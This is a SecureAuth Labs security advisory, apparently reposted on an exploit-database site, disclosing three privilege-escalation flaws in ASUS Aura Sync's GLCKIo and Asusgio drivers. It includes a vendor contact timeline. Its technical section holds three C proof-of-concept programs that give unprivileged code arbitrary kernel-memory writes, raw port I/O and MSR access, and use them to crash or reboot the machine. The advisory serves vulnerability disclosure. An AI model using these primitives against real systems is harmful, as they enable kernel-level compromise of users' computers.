ASUS Driver Privilege Escalation



EKU-ID: 8240 CVE: 2018-18537 OSVDB-ID:
Author: http://www.secureauth.com/ Published: 2018-12-24 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/

ASUS Drivers Elevation of Privilege Vulnerabilities

*1. *Advisory Information**

Title: ASUS Drivers Elevation of Privilege Vulnerabilities
Advisory ID: CORE-2017-0012
Advisory URL:
http://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities
Date published: 2018-12-18
Date of last update: 2018-12-18
Vendors contacted: Asus
Release mode: User release

*2. *Vulnerability Information**

Class: Exposed IOCTL with Insufficient Access Control [CWE-782],
Exposed IOCTL with Insufficient Access Control [CWE-782], Exposed IOCTL
with Insufficient Access Control [CWE-782]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2018-18537, CVE-2018-18536, CVE-2018-18535

*3. *Vulnerability Description**

ASUS offers several drivers and utilities [1] in order to give the user
more control over certain settings and functions of the motherboard.
In particular, ASUS Aura Sync takes RGB lighting beyond the checkbox,
combining and controlling the LEDs of all your Aura-enabled products
from a single application to achieve perfect, synchronized harmony. From
motherboards and RGB strips to graphics cards and beyond, Aura Sync
enables a veritable symphony of light for ultimate personalization.

Multiple vulnerabilities were found in the GLCKIo and Asusgio drivers
installed by ASUS Aura Sync, which could allow a local attacker to
elevate privileges.

*4. *Vulnerable Packages**

. ASUS Aura Sync v1.07.22 and previous versions
Other products and versions might be affected, but they were not tested.

*5. *Vendor Information, Solutions and Workarounds**

The vendor did not provide fixes or workaround information.

*6. *Credits**

These vulnerabilities were discovered and researched by Diego Juarez.
The publication of this advisory was coordinated by Leandro Cuozzo from
SecureAuth Advisories Team.

*7. *Technical Description / Proof of Concept Code**

Aura Sync is ASUS's command software for all their line of recent RGB
lighting enabled devices (motherboards/graphics cards/keyboards/mice/etc).

The main subject of this advisory are two of the device drivers
installed/loaded by the Aura Sync application. From now on addressed as
"Asusgio" and "GLCKIo". Default installation allows non-privileged user
processes (even running at LOW INTEGRITY) to get a HANDLE and issue
IOCTL codes to these drivers.

The following sections describe the problems found.

*7.1. *Arbitrary ring0 write**

[CVE-2018-18537]
There is a path in the processing of IOCTL_GLCKIO_READPORT (0x80102050)
on GLCKIo leading to write of arbitrary DWORD to an arbitrary address.

/-----
.text:FFFFF800B09F13FE loc_FFFFF800B09F13FE:
.text:FFFFF800B09F13FE                 mov     rax, [rsp+0C8h+var_38]  
; CONTROLLED VALUE
.text:FFFFF800B09F1406                 mov     ecx, [rsp+0C8h+var_56]  
; CONTROLLED VALUE
.text:FFFFF800B09F140A                 mov     [rax], ecx              
; Arbitrary DWORD sized write!
.text:FFFFF800B09F140C                 mov     rax, [rsp+0C8h+Irp]
.text:FFFFF800B09F1414                 mov     qword ptr [rax+38h], 4
.text:FFFFF800B09F141C                 jmp     short loc_FFFFF800B09F142D
-----/

Proof of Concept:
/-----
#include <windows.h>
HANDLE ghDriver = 0;

#define IOCTL_GLCKIO_VMWRITE 0x80102050

typedef struct _STRUCT_GLCKIO_VMWRITE {
    WORD unk0;
    DWORD unk1_1;
    WORD unk1_2;
    ULONG64 unk2;
    ULONG64 unk3;
    ULONG64 unk4;
    ULONG64 unk5;
    ULONG64 unk6;
} STRUCT_GLCKIO_VMWRITE;

BOOL ArbitraryWriteDWORD(ULONG64 dest, DWORD value)
{
    STRUCT_GLCKIO_VMWRITE mystructIn = { 0 };
    mystructIn.unk0 = 0xf11;
    mystructIn.unk1_1 = value;    // value
    mystructIn.unk5 = dest;        // address

    STRUCT_GLCKIO_VMWRITE mystructOut = { 0 };

    DWORD returned = 0;

    DeviceIoControl(ghDriver, IOCTL_GLCKIO_VMWRITE, (LPVOID)&mystructIn,
sizeof(mystructIn), (LPVOID)&mystructOut, sizeof(mystructOut),
&returned, NULL);
    return BOOL(returned);
}

BOOL InitDriver()
{
    ghDriver = CreateFile("\\\\.\\GLCKIo", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
    if (ghDriver == INVALID_HANDLE_VALUE) {
        printf("Cannot get handle to GLCKIo driver - GetLastError:%d\n",
GetLastError());
        return FALSE;
    }
    return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (arbitrary ring0 write)\n");

    if (!InitDriver()) {
        exit(0);
    }

    printf("press ENTER for instant BSOD\n");
    getchar();
    ArbitraryWriteDWORD(0, 0xffffffff);

    CloseHandle(ghDriver);
    return 0;
}
-----/

*7.2. *Port mapped I/O access**

[CVE-2018-18536]
Both GLCKIo and Asusgio expose a functionality to read/write data
from/to IO ports. This could be leveraged in a number of ways to
ultimately run code with elevated privileges.

/-----
// This harmless PoC only reboots the PC, much more sinister stuff
// would also be possible by abusing this functionality.

// Compile for 32bit!!! Asusgio apparently has a bug preventing this
// functionality to work unless IoIs32bitProcess == TRUE. They set rdx
// as a pointer instead of a port number on the in/out instruction...
// and they ONLY do this incorrectly in the x64 process specific code.(!?)

#include "stdafx.h"
#include <windows.h>

// for \\.\glckio
#define IOCTL_GLCKIO_WRITEPORT 0x80102054
#define IOCTL_GLCKIO_READPORT  0x80102050

// for \\.\Asusgio
#define IOCTL_ASIO_PORTREADB 0xA0406400
#define IOCTL_ASIO_PORTWRITEB 0xA040A440

HANDLE ghDriver = 0;

typedef BYTE(*fnPMIOReadB)(WORD port);
typedef BYTE(*fnPMIOWriteB)(WORD port, BYTE value);

#pragma pack (push,1)

typedef struct  {
    DWORD DriverIndex;        // DriverEnum index
    BYTE DeviceName[MAX_PATH];
    fnPMIOReadB pPMIOReadB;
    fnPMIOWriteB pPMIOWriteB;
} AutoConfigStruct;

AutoConfigStruct gConfig = { 0 };

enum DriverEnum {
    ASIO = 1,
    GLCKIO,
};

typedef struct _ASIO_PORTIO_STRUCT {
    DWORD port;
    ULONG64 value;
} ASIO_PORTIO_STRUCT;

typedef struct _GLCKIO_PORTIO_STRUCT {
    WORD port;
    DWORD value;
    DWORD datalen;
} GLCKIO_PORTIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
    BYTE outbuffer[0x30] = { 0 };    \
    DWORD returned = 0;    \
    DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);    \
    return outbuffer[0];    \

BYTE GLCKIO_PMIOReadB(WORD port)
{
    GLCKIO_PORTIO_STRUCT inbuffer = { port, 0, 1};
    IOCTLMACRO(IOCTL_GLCKIO_READPORT, 10)
}

BYTE GLCKIO_PMIOWriteB(WORD port, BYTE value)
{
    GLCKIO_PORTIO_STRUCT inbuffer = { port, value, 1 };
    IOCTLMACRO(IOCTL_GLCKIO_WRITEPORT, 10)
}

BYTE ASIO_PMIOReadB(WORD port)
{
    ASIO_PORTIO_STRUCT inbuffer = { port, 0 };
    IOCTLMACRO(IOCTL_ASIO_PORTREADB, 4)
}

BYTE ASIO_PMIOWriteB(WORD port, BYTE value)
{
    ASIO_PORTIO_STRUCT inbuffer = { port, value };
    IOCTLMACRO(IOCTL_ASIO_PORTWRITEB, 5)
}

void Reboot()
{
    BYTE cf9 = gConfig.pPMIOReadB(0xcf9) & ~0x6;
    gConfig.pPMIOWriteB(0xcf9, cf9 | 2);
    Sleep(50);
    gConfig.pPMIOWriteB(0xcf9, cf9 | 0xe);
    Sleep(50);
}

BOOL InitDriver()
{
    char *szDeviceNames[] = { "\\\\.\\Asusgio" , "\\\\.\\GLCKIo" };
    BYTE i = 0;
    for (i = 0; i<2; i++) {
        ghDriver = CreateFile(szDeviceNames[i], GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

        if (ghDriver == INVALID_HANDLE_VALUE) {
            printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", szDeviceNames[i], GetLastError());
            continue;
        }

        gConfig.DriverIndex = i+1;
        memcpy(gConfig.DeviceName, szDeviceNames[i], MAX_PATH-1);
        break;
    }

    switch (gConfig.DriverIndex) {
        case DriverEnum::ASIO:
            {
                gConfig.pPMIOReadB = (fnPMIOReadB)ASIO_PMIOReadB;
                gConfig.pPMIOWriteB = (fnPMIOWriteB)ASIO_PMIOWriteB;
            }
            break;

        case DriverEnum::GLCKIO:
            {
                gConfig.pPMIOReadB = (fnPMIOReadB)GLCKIO_PMIOReadB;
            }
                gConfig.pPMIOWriteB = (fnPMIOWriteB)GLCKIO_PMIOWriteB;
            break;

        default:
            break;
    }

    return gConfig.DriverIndex ? TRUE : FALSE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (PMIO access)\n");
   
    if (!InitDriver()) {
        printf("InitDriver failed! - aborting...\n");
        exit(0);
    }

    printf("DeviceName: \'%s\' Handle: %08x\n", gConfig.DeviceName,
(DWORD)ghDriver);
    printf("press ENTER for hard reset...");
    getchar();
    Reboot();
    CloseHandle(ghDriver);
}
-----/

*7.3. *MSR Register access**

[CVE-2018-18535]
Asusgio exposes a functionality to read and write Machine Specific
Registers (MSRs). This could be leveraged to execute arbitrary ring-0
code.
       
Proof of Concept:

/-----
// This PoC demonstrates insecure access to MSRs by reading IA32_LSTAR
// register value (leaks a kernel function pointer bypassing KASLR) and
// then writing garbage to it (instant BSOD!)

#include <windows.h>

// for \\.\Asusgio
#define IOCTL_ASIO_RDMSR 0xA0406458
#define IOCTL_ASIO_WRMSR 0xA040A45C

HANDLE ghDriver = 0;

#pragma pack (push,1)

typedef struct _ASIO_MSRIO_STRUCT {
    DWORD reg;
    ULONG64 value;
} ASIO_MSRIO_STRUCT;

#pragma pack(pop)

#define IOCTLMACRO(iocontrolcode, size) \
    ULONG64 outbuffer[2] = { 0 };    \
    DWORD returned = 0;    \
    DeviceIoControl(ghDriver, ##iocontrolcode##, (LPVOID)&inbuffer,
##size##, (LPVOID)outbuffer, sizeof(outbuffer), &returned, NULL);    \
    return outbuffer[0];    \

ULONG64 ASIO_RDMSR(DWORD reg)
{
    ASIO_MSRIO_STRUCT inbuffer = { reg };
    IOCTLMACRO(IOCTL_ASIO_RDMSR, 4)
}

ULONG64 ASIO_WRMSR(DWORD reg, ULONG64 value)
{
    ASIO_MSRIO_STRUCT inbuffer = { reg, value };
    IOCTLMACRO(IOCTL_ASIO_WRMSR, 12)
}

BOOL InitDriver()
{
        ghDriver = CreateFile("\\\\.\\Asusgio", GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

        if (ghDriver == INVALID_HANDLE_VALUE) {
            printf("Cannot get handle to driver object \'%s\'-
GetLastError:%d\n", "\\\\.\\Asusgio", GetLastError());
            return FALSE;
        }

    return TRUE;
}

int _tmain(int argc, _TCHAR* argv[])
{
    printf("ASUS Aura Sync PoC (MSR access)\n");
   
    if (!InitDriver()) {
        printf("InitDriver failed! - aborting...\n");
        exit(0);
    }

    ULONG64 IA32_LSTAR = ASIO_RDMSR(0xC0000082);
    printf("IA32_LSTAR: %llx (should be nt!KiSystemCall64)\n", IA32_LSTAR);
    printf("press ENTER for instant BSOD\n");
    getchar();
    a = ASIO_WRMSR(0xC0000082, 0xffff1111ffff2222);
    CloseHandle(ghDriver);
}
-----/

*8. *Report Timeline**
2017-11-27: SecureAuth sent an initial notification to ASUS, asking for
GPG keys.
2017-12-14: SecureAuth sent a second notification to ASUS.
2018-01-29: SecureAuth sent a third notification to ASUS.
2018-01-30: Asus acknowledged SecureAuth's e-mail and asked for a report
with technical information.
2018-01-31: SecureAuth sent Asus a draft version of the advisory.
2018-02-07: SecureAuth requested an update from Asus regarding the
reported vulnerabilities and a tentative schedule.
2018-02-14: SecureAuth again requested an update from Asus regarding the
reported vulnerabilities and a tentative schedule.
2018-02-21: Asus acknowledged SecureAuth's draft report and asked for
time for internal investigations.
2018-02-21: Asus answered saying that they were planning to update Aura
in April.
2018-02-21: SecureAuth thanked Asus's feedback and requested a regular
contact until the Auras update.
2018-03-19: SecureAuth asked for a status update.
2018-03-26: SecureAuth asked for a status update again.
2018-03-26: Asus notified that the Aura Sync had been fixed.
2018-03-26: SecureAuth asked Asus to confirm if this new version had
been already released.
2018-04-03: SecureAuth requested a status update.
2018-04-16: SecureAuth requested a confirmation for Asus.
2018-04-23: SecureAuth requested a confirmation for Asus again.
2018-04-26: SecureAuth noticed that a new version of Aura Sync was
available. However, this version didn't address the reported
vulnerabilities. For that reason, SecureAuth requested a clarification
about the case.
2018-05-08: SecureAuth noticed that a new version of Aura Sync was
available but this version only addresses one of the two vulnerable
drivers. In this context, SecureAuth requested a new clarification.
2018-07-03: SecureAuth requested a status update.
2018-12-18: Advisory CORE-2017-0012 published as 'user release'.

*9. *References**

[1] https://www.asus.com/support

*10. *About SecureAuth Labs**

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.

*11. *About SecureAuth**

SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, identity governance, and penetration
testing, SecureAuth is powering an identity security revolution by
enabling people and devices to intelligently and adaptively access
systems and data, while effectively keeping bad actors from doing harm.
By ensuring the continuous assessment of risk and enablement of trust,
SecureAuth's highly flexible Identity Security Automation (ISA) platform
makes it easier for organizations to prevent the misuse of credentials
and exponentially reduce the enterprise threat surface. To learn more,
visit www.secureauth.com, call (949) 777-6959, or email us at
info@secureauth.com

*12. *Disclaimer**

The contents of this advisory are copyright (c) 2018 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/